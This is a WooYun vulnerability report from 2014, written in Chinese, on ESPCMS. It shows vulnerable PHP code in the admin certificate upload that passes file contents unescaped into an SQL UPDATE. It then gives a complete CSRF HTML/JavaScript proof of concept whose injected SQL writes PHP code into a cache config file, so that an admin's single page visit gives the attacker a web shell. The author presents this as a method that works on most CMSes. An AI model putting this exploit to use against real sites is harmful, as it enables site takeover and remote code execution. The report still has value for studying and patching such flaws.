当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-071680

漏洞标题:ESPCMS_csrf利用后台sql注射getshell

相关厂商:易思ESPCMS企业网站管理系统

漏洞作者: menmen519

提交时间:2014-08-12 14:55

修复时间:2014-11-10 14:56

公开时间:2014-11-10 14:56

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-12: 细节已通知厂商并且等待厂商处理中
2014-08-12: 厂商已经确认,细节仅向厂商公开
2014-08-15: 细节向第三方安全合作伙伴开放
2014-10-06: 细节向核心白帽子及相关领域专家公开
2014-10-16: 细节向普通白帽子公开
2014-10-26: 细节向实习白帽子公开
2014-11-10: 细节向公众公开

简要描述:

这两天再写csrf的一些东西,所以拿了ESPCMS做了一个演示,这里只是其中一个意外发现,后续还有csrf更狠的地方,总之一句话漏洞利用是一门艺术,我会提供一个csrf另外一种思路去让管理员只交互一次,然后轻松拿下站点shell,就我分析应该各大cms,都可以按照这个思路去做!!!

详细说明:

好了 废话不多说了 首先我们安装完毕espcms 然后登录到后台

1.png


问题就出在了,上传证书这一块,直接看代码,
adminsoft/control/management.php:(lines:802-815)

if (!file_exists($filetmpname)) {
$isupfiletrue = 'false';
}
$datacontent = file_get_contents($filetmpname);
if (empty($datacontent)) {
$isupfiletrue = 'false';
}
if ($isupfiletrue != 'false') {
$db_table = db_prefix . 'config';
$db_where = "valname='cer_key'";
$db_set = "value='$datacontent'";
$this->db->query('UPDATE ' . $db_table . ' SET ' . $db_set . ' WHERE ' . $db_where);
$db_where = "valname='cer_file'";
$db_set = "value='111111'";
$this->db->query('UPDATE ' . $db_table . ' SET ' . $db_set . ' WHERE ' . $db_where);
$this->systemfile(true);
$this->calldialogmessage($this->lng['management_upfile_text_ok_js'], $this->lng['management_upfile_text_exit_bottonok'], '', 0, 1, 'locationout');
}
$this->ectemplates->assign('digheight', $digheight);
$this->ectemplates->assign('isupfiletrue', $isupfiletrue);
$this->ectemplates->display('admin/admin_upfile');


这里直接读进来文件,然后进行sql操作,产生了注入点,并且内容完全可控
经过测试这个上传文件的过程存在csrf,这里就不多做演示了
下来我们来分析一下,惊奇的发现datacache/command.php 这个东西就是缓存配置的,我们只一个点

2.png


构造csrf表单:

<html>
<body>
<script>
function csrf_sql(){
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://192.168.47.131/ESPCMSV6000140708_INSTALL/upload/adminsoft/index.php", true);
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------277302291911927");
xhr.withCredentials = "true";
var sql = "10);\r\n phpinfo();\r\n$a=array(123456=>1' WHERE valname='order_integral'-- ";
var body='-----------------------------277302291911927\r\nContent-Disposition: form-data; name="point"\r\n\r\nadmin\r\n-----------------------------277302291911927\r\nContent-Disposition: form-data; name="archive"\r\n\r\nmanagement\r\n-----------------------------277302291911927\r\nContent-Disposition: form-data; name="action"\r\n\r\ncerfilecheck\r\n-----------------------------277302291911927\r\nContent-Disposition: form-data; name="digheight"\r\n\r\n250\r\n-----------------------------277302291911927\r\nContent-Disposition: form-data; name="cerupfilepath"; filename="she.jpg"\r\nContent-Type: image/jpeg\r\n\r\n'+sql+'\r\n-----------------------------277302291911927\r\nContent-Disposition: form-data; name="Submit"\r\n\r\nå¼\x80å§\x8béª\x8cè¯\x81\r\n-----------------------------277302291911927--\r\n';
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
csrf_sql();
</script>
</body>
</html>


这个表单构造好了,发包前这个文件是这样的:

3.png


发送请求后的此文件为:

4.png


然后我们访问一下文件看一下,是否执行了:

5.png

漏洞证明:

修复方案:

版权声明:转载请注明来源 menmen519@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-08-12 15:16

厂商回复:

感谢您对此漏洞的提供,我们会尽快修复此漏洞!

最新状态:

暂无